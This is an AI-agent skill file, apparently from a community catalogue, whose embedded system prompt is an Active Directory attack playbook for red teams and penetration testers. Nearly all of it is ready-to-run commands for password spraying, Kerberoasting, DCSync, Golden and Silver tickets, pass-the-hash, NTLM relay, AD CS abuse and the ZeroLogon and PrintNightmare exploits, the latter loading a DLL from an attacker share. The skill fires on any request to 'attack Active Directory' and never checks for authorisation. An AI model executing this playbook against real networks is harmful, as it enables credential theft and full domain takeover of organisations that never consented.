{
  "schema": "https://ai-atoms.com/schemas/skill-v1.json",
  "type": "skill",
  "id": "skill/active-directory-attacks",
  "version": "1.0.0",
  "name": "Active Directory Attacks",
  "description": "This skill should be used when the user asks to \"attack Active Directory\", \"exploit AD\", \"Kerberoasting\", \"DCSync\", \"pass-the-hash\", \"BloodHound enumeration\", \"Golden Ticket\", ...",
  "system_prompt_fragment": "# Active Directory Attacks\n\n## Purpose\n\nProvide comprehensive techniques for attacking Microsoft Active Directory environments. Covers reconnaissance, credential harvesting, Kerberos attacks, lateral movement, privilege escalation, and domain dominance for red team operations and penetration testing.\n\n## Inputs/Prerequisites\n\n- Kali Linux or Windows attack platform\n- Domain user credentials (for most attacks)\n- Network access to Domain Controller\n- Tools: Impacket, Mimikatz, BloodHound, Rubeus, CrackMapExec\n\n## Outputs/Deliverables\n\n- Domain enumeration data\n- Extracted credentials and hashes\n- Kerberos tickets for impersonation\n- Domain Administrator access\n- Persistent access mechanisms\n\n---\n\n## Essential Tools\n\n| Tool | Purpose |\n|------|---------|\n| BloodHound | AD attack path visualization |\n| Impacket | Python AD attack tools |\n| Mimikatz | Credential extraction |\n| Rubeus | Kerberos attacks |\n| CrackMapExec | Network exploitation |\n| PowerView | AD enumeration |\n| Responder | LLMNR/NBT-NS poisoning |\n\n---\n\n## Core Workflow\n\n### Step 1: Kerberos Clock Sync\n\nKerberos requires clock synchronization (±5 minutes):\n\n```bash\n# Detect clock skew\nnmap -sT 10.10.10.10 -p445 --script smb2-time\n\n# Fix clock on Linux\nsudo date -s \"14 APR 2024 18:25:16\"\n\n# Fix clock on Windows\nnet time /domain /set\n\n# Fake clock without changing system time\nfaketime -f '+8h' <command>\n```\n\n### Step 2: AD Reconnaissance with BloodHound\n\n```bash\n# Start BloodHound\nneo4j console\nbloodhound --no-sandbox\n\n# Collect data with SharpHound\n.\\SharpHound.exe -c All\n.\\SharpHound.exe -c All --ldapusername user --ldappassword pass\n\n# Python collector (from Linux)\nbloodhound-python -u 'user' -p 'password' -d domain.local -ns 10.10.10.10 -c all\n```\n\n### Step 3: PowerView Enumeration\n\n```powershell\n# Get domain info\nGet-NetDomain\nGet-DomainSID\nGet-NetDomainController\n\n# Enumerate users\nGet-NetUser\nGet-NetUser -SamAccountName targetuser\nGet-UserProperty -Properties pwdlastset\n\n# Enumerate groups\nGet-NetGroupMember -GroupName \"Domain Admins\"\nGet-DomainGroup -Identity \"Domain Admins\" | Select-Object -ExpandProperty Member\n\n# Find local admin access\nFind-LocalAdminAccess -Verbose\n\n# User hunting\nInvoke-UserHunter\nInvoke-UserHunter -Stealth\n```\n\n---\n\n## Credential Attacks\n\n### Password Spraying\n\n```bash\n# Using kerbrute\n./kerbrute passwordspray -d domain.local --dc 10.10.10.10 users.txt Password123\n\n# Using CrackMapExec\ncrackmapexec smb 10.10.10.10 -u users.txt -p 'Password123' --continue-on-success\n```\n\n### Kerberoasting\n\nExtract service account TGS tickets and crack offline:\n\n```bash\n# Impacket\nGetUserSPNs.py domain.local/user:password -dc-ip 10.10.10.10 -request -outputfile hashes.txt\n\n# Rubeus\n.\\Rubeus.exe kerberoast /outfile:hashes.txt\n\n# CrackMapExec\ncrackmapexec ldap 10.10.10.10 -u user -p password --kerberoast output.txt\n\n# Crack with hashcat\nhashcat -m 13100 hashes.txt rockyou.txt\n```\n\n### AS-REP Roasting\n\nTarget accounts with \"Do not require Kerberos preauthentication\":\n\n```bash\n# Impacket\nGetNPUsers.py domain.local/ -usersfile users.txt -dc-ip 10.10.10.10 -format hashcat\n\n# Rubeus\n.\\Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt\n\n# Crack with hashcat\nhashcat -m 18200 hashes.txt rockyou.txt\n```\n\n### DCSync Attack\n\nExtract credentials directly from DC (requires Replicating Directory Changes rights):\n\n```bash\n# Impacket\nsecretsdump.py domain.local/admin:password@10.10.10.10 -just-dc-user krbtgt\n\n# Mimikatz\nlsadump::dcsync /domain:domain.local /user:krbtgt\nlsadump::dcsync /domain:domain.local /user:Administrator\n```\n\n---\n\n## Kerberos Ticket Attacks\n\n### Pass-the-Ticket (Golden Ticket)\n\nForge TGT with krbtgt hash for any user:\n\n```powershell\n# Get krbtgt hash via DCSync first\n# Mimikatz - Create Golden Ticket\nkerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /krbtgt:HASH /id:500 /ptt\n\n# Impacket\nticketer.py -nthash KRBTGT_HASH -domain-sid S-1-5-21-xxx -domain domain.local Administrator\nexport KRB5CCNAME=Administrator.ccache\npsexec.py -k -no-pass domain.local/Administrator@dc.domain.local\n```\n\n### Silver Ticket\n\nForge TGS for specific service:\n\n```powershell\n# Mimikatz\nkerberos::golden /user:Administrator /domain:domain.local /sid:S-1-5-21-xxx /target:server.domain.local /service:cifs /rc4:SERVICE_HASH /ptt\n```\n\n### Pass-the-Hash\n\n```bash\n# Impacket\npsexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH\nwmiexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH\nsmbexec.py domain.local/Administrator@10.10.10.10 -hashes :NTHASH\n\n# CrackMapExec\ncrackmapexec smb 10.10.10.10 -u Administrator -H NTHASH -d domain.local\ncrackmapexec smb 10.10.10.10 -u Administrator -H NTHASH --local-auth\n```\n\n### OverPass-the-Hash\n\nConvert NTLM hash to Kerberos ticket:\n\n```bash\n# Impacket\ngetTGT.py domain.local/user -hashes :NTHASH\nexport KRB5CCNAME=user.ccache\n\n# Rubeus\n.\\Rubeus.exe asktgt /user:user /rc4:NTHASH /ptt\n```\n\n---\n\n## NTLM Relay Attacks\n\n### Responder + ntlmrelayx\n\n```bash\n# Start Responder (disable SMB/HTTP for relay)\nresponder -I eth0 -wrf\n\n# Start relay\nntlmrelayx.py -tf targets.txt -smb2support\n\n# LDAP relay for delegation attack\nntlmrelayx.py -t ldaps://dc.domain.local -wh attacker-wpad --delegate-access\n```\n\n### SMB Signing Check\n\n```bash\ncrackmapexec smb 10.10.10.0/24 --gen-relay-list targets.txt\n```\n\n---\n\n## Certificate Services Attacks (AD CS)\n\n### ESC1 - Misconfigured Templates\n\n```bash\n# Find vulnerable templates\ncertipy find -u user@domain.local -p password -dc-ip 10.10.10.10\n\n# Exploit ESC1\ncertipy req -u user@domain.local -p password -ca CA-NAME -target dc.domain.local -template VulnTemplate -upn administrator@domain.local\n\n# Authenticate with certificate\ncertipy auth -pfx administrator.pfx -dc-ip 10.10.10.10\n```\n\n### ESC8 - Web Enrollment Relay\n\n```bash\nntlmrelayx.py -t http://ca.domain.local/certsrv/certfnsh.asp -smb2support --adcs --template DomainController\n```\n\n---\n\n## Critical CVEs\n\n### ZeroLogon (CVE-2020-1472)\n\n```bash\n# Check vulnerability\ncrackmapexec smb 10.10.10.10 -u '' -p '' -M zerologon\n\n# Exploit\npython3 cve-2020-1472-exploit.py DC01 10.10.10.10\n\n# Extract hashes\nsecretsdump.py -just-dc domain.local/DC01\\$@10.10.10.10 -no-pass\n\n# Restore password (important!)\npython3 restorepassword.py domain.local/DC01@DC01 -target-ip 10.10.10.10 -hexpass HEXPASSWORD\n```\n\n### PrintNightmare (CVE-2021-1675)\n\n```bash\n# Check for vulnerability\nrpcdump.py @10.10.10.10 | grep 'MS-RPRN'\n\n# Exploit (requires hosting malicious DLL)\npython3 CVE-2021-1675.py domain.local/user:pass@10.10.10.10 '\\\\attacker\\share\\evil.dll'\n```\n\n### samAccountName Spoofing (CVE-2021-42278/42287)\n\n```bash\n# Automated exploitation\npython3 sam_the_admin.py \"domain.local/user:password\" -dc-ip 10.10.10.10 -shell\n```\n\n---\n\n## Quick Reference\n\n| Attack | Tool | Command |\n|--------|------|---------|\n| Kerberoast | Impacket | `GetUserSPNs.py domain/user:pass -request` |\n| AS-REP Roast | Impacket | `GetNPUsers.py domain/ -usersfile users.txt` |\n| DCSync | secretsdump | `secretsdump.py domain/admin:pass@DC` |\n| Pass-the-Hash | psexec | `psexec.py domain/user@target -hashes :HASH` |\n| Golden Ticket | Mimikatz | `kerberos::golden /user:Admin /krbtgt:HASH` |\n| Spray | kerbrute | `kerbrute passwordspray -d domain users.txt Pass` |\n\n---\n\n## Constraints\n\n**Must:**\n- Synchronize time with DC before Kerberos attacks\n- Have valid domain credentials for most attacks\n- Document all compromised accounts\n\n**Must Not:**\n- Lock out accounts with excessive password spraying\n- Modify production AD objects without approval\n- Leave Golden Tickets without documentation\n\n**Should:**\n- Run BloodHound for attack path discovery\n- Check for SMB signing before relay attacks\n- Verify patch levels for CVE exploitation\n\n---\n\n## Examples\n\n### Example 1: Domain Compromise via Kerberoasting\n\n```bash\n# 1. Find service accounts with SPNs\nGetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10\n\n# 2. Request TGS tickets\nGetUserSPNs.py domain.local/lowpriv:password -dc-ip 10.10.10.10 -request -outputfile tgs.txt\n\n# 3. Crack tickets\nhashcat -m 13100 tgs.txt rockyou.txt\n\n# 4. Use cracked service account\npsexec.py domain.local/svc_admin:CrackedPassword@10.10.10.10\n```\n\n### Example 2: NTLM Relay to LDAP\n\n```bash\n# 1. Start relay targeting LDAP\nntlmrelayx.py -t ldaps://dc.domain.local --delegate-access\n\n# 2. Trigger authentication (e.g., via PrinterBug)\npython3 printerbug.py domain.local/user:pass@target 10.10.10.12\n\n# 3. Use created machine account for RBCD attack\n```\n\n---\n\n## Troubleshooting\n\n| Issue | Solution |\n|-------|----------|\n| Clock skew too great | Sync time with DC or use faketime |\n| Kerberoasting returns empty | No service accounts with SPNs |\n| DCSync access denied | Need Replicating Directory Changes rights |\n| NTLM relay fails | Check SMB signing, try LDAP target |\n| BloodHound empty | Verify collector ran with correct creds |\n\n---\n\n## Additional Resources\n\nFor advanced techniques including delegation attacks, GPO abuse, RODC attacks, SCCM/WSUS deployment, ADCS exploitation, trust relationships, and Linux AD integration, see [references/advanced-attacks.md](references/advanced-attacks.md).\n\n## When to Use\nThis skill is applicable to execute the workflow or actions described in the overview.",
  "applicable_domains": [
    "other"
  ],
  "category": "other",
  "invocation": [
    "/active-directory-attacks"
  ],
  "authored_by": "claudeskills.in community",
  "source_url": "https://claudeskills.in/skill/active-directory-attacks",
  "provenance": {
    "source": "claudeskills.in",
    "source_url": "https://claudeskills.in/skill/active-directory-attacks",
    "license": "unknown",
    "imported_at": "2026-09-03",
    "notes": "Aggregated by claudeskills.in from community GitHub lists."
  },
  "tags": [
    "claudeskills",
    "other"
  ],
  "lifecycle": "draft"
}